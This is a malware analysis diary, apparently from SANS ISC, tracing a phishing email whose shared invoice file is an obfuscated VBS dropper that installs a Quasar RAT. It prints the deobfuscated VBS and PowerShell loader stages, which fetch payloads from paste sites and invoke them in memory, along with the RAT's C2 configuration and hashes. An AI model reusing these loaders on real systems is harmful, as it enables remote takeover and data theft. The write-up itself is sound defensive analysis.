Another RAT Delivered Through VBS
VBS looks popular these days! After the last Didier's diary, I found another interesting script. It started with an email that referenced a fake due invoice. The invoice icon pointed to a URL. Usually, such URLs display a fake login page asking for credentials. Not this time.
PrivateEmail is an online service operated by NameCheap that offers email and collaboration tools (like a shared drive). It relies on Open-Xchange. They offer a free account for one mailbox and 5GB of storage. This is a simple way to deliver a payload, and the domain has a good reputation.
The shared file is “INV.10931.vbs” (SHA256:980b05b8a4ccbb444da3f7a1174e4c0e902a8ed199e4af2f3153e320809ab7cc) and has a low VT score (10/59). If you select the "Info" button on the top-right of the screen, you'll see that the file was modified on June 14th by "helen@alpinearospace.com". This domain was registered at NameCheap on May 26th. This is probably the free account created by the attacker. Did you spot the typosquatting related to the domain alpineaerospace.com[1]?
Let’s have a look at the content. This file uses a lot of obfuscation techniques! The first one is the encoding. Starting with 0xFFEE, the file is Unicode encoded. This means that it won’t match simple scripts running on Linux environments:
remnux@remnux:/MalwareZoo/20230615$ xxd INV.10931.vbs |head -5 00000000: fffe 0d00 0a00 0d00 0a00 0d00 0a00 0d00 ................ 00000010: 0a00 0d00 0a00 0d00 0a00 0d00 0a00 0d00 ................ 00000020: 0a00 2700 2f00 2f00 2f00 2f00 2f00 2f00 ..'././././././. 00000030: 2f00 2f00 2f00 2f00 2f00 2f00 2f00 2f00 /./././././././. 00000040: 2f00 2f00 2f00 2f00 2f00 2f00 2f00 2f00 /./././././././.
Then, the script is polluted with plenty of repeating functions that do nothing (junk code):
remnux@remnux:/MalwareZoo/20230615$ cat INV.10931.vbs | tr -d '\00' | grep ^Function | wc -l 87
Let’s clean up the file and also remove the comments:
remnux@remnux:/MalwareZoo/20230615$ cat INV.10931.vbs | tr -d '\00' | grep -v "^'" | sed -e '/^Function/,/^End Function/d' wwoye:iufpc:wwoye:iufpc:wwoye:iufpc:wwoye:iufpc:wwoye: wwoye:iufpc:wwoye:iufpc:wwoye:iufpc:wwoye:iufpc:wwoye: wwoye:iufpc:wwoye:iufpc:wwoye:iufpc:wwoye:i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 Bl1 Cg1 JwBD1 GQ1 VwBE1 GQ1 Qg1 u1 EQ1 SwBl1 FM1 dgBs1 Cc1 KQ1 u1 Ec1 ZQB01 E01 ZQB01 Gg1 bwBk1 Cg1 JwBO1 G41 SQBh1 FU1 cQ1 n1 Ck1 LgBJ1 G41 dgBv1 Gs1 ZQ1 o1 CQ1 bgB11 Gw1 b1 1 s1 C1 1 WwBv1 GI1 agBl1 GM1 d1 Bb1 F01 XQ1 g1 Cg1 JwBq1 G01 cwBS1 G41 V1 BY1 EY1 R1 BD1 FY1 e1 1 v1 GQ1 YQBv1 Gw1 bgB31 G81 Z1 1 v1 G01 bwBj1 C41 bwBp1 GU1 d1 Bz1 GE1 c1 1 v1 C81 OgBz1 H1 1 d1 B01 Gg1 Jw1 g1 Cw1 I1 1 k1 Gs1 ZwB01 Gw1 dw1 g1 Cw1 I1 1 n1 E81 YQBN1 Fk1 Qw1 n1 Cw1 I1 1 k1 G41 awBs1 Gk1 bQ1 s1 C1 1 Jw1 x1 Cc1 L1 1 g1 Cc1 UgBv1 GQ1 YQ1 n1 C1 1 KQ1 p1 Ds1 ") dim nabnr nabnr = ("$ExeNy = '") & HwxcO & "'" nabnr = nabnr & ";$KByHL = [system.Text.Encoding]::Unicode.GetString( " nabnr = nabnr & "[system.Convert]::FromBase64String( $ExeNy.replace('1 ','A') ) )" nabnr = nabnr & ";$KByHL = $KByHL.replace('%pzAcOgInMr%', '" & uRUs & "');powershell -command $KByHL;" set wcwpz = CreateObject("WScript.Shell") wcwpz.Run "powershell -command " & (nabnr) , 0, false
We have another problem with the file. It won’t work as is. The variable “HwxcO” is a Base64-encoded string that has been polluted with a character that is replaced by ‘A’ during execution:
The character looks like a percentage (“%”) with it. It’s the Unicode character 0x2031[2]
Let’s decode the Base64 with Cyberchef:
Now, we have this script: (beautified for easier reading)
$nklim = '01234'; $kgtlw = '%pzAcOgInMr%'; [Byte[]] $ssxup = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( \\ (New-Object Net.WebClient).DownloadString('hxxps://pastebin[.]com/raw/PUgmUTiH') ) );[system.AppDomain]::CurrentDomain.Load($ssxup).GetType('CdWDdB.DKeSvl').GetMethod('NnIaUq').Invoke( \\ $null, [object[]] ('jmsRnTXFDCVx/daolnwod/moc.oietsap//:sptth' , $kgtlw , 'OaMYC', $nklim, '1', 'Roda' ));
You can see that another Base64 data is downloaded from pastebin.com. Unfortunately, the pastie has been removed. However, it’s easy to understand the purpose of the script when you see something like:
[system.AppDomain]::CurrentDomain.Load($ssxup).GetType('CdWDdB.DKeSvl').GetMethod('NnIaUq').Invoke()
Another payload will be downloaded from another paste website: hxxps://pasteio[.]com/download/xVCDFXTnRsmj (the string has been reversed). This payload was still online and is a Base64-encode sample of a Quasar RAT[3] (SHA256:80ceb442697d42cb5ba74d201b128b805d135b37ca3319560264406d0f73a8ab)
Here is the configuration extracted with the C2 server:
{ "c2": [ "127.0.0.1:4782", "venomia[.]ddns[.]net:3202" ], "attr": { "startup_key": "Adobe Client Startup", "install_name": "Venom.exe", "log_directory": "Logs", "encryption_key": "8A1JLAOW6hwwDDbIAN4N", "reconnect_delay": 3000 }, "rule": "Quasar", "mutex": [ "19qmFpMzgDFlPZQoYW" ], "botnet": "Venom ClientA", "family": "quasar", "version": "2.7.0.0" }
[1] http://www.alpineaerospace.com
[2] https://www.compart.com/en/unicode/U+2031
[3] https://github.com/quasar/Quasar
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Frankfurt | Dec 9th - Dec 14th 2024 |
Comments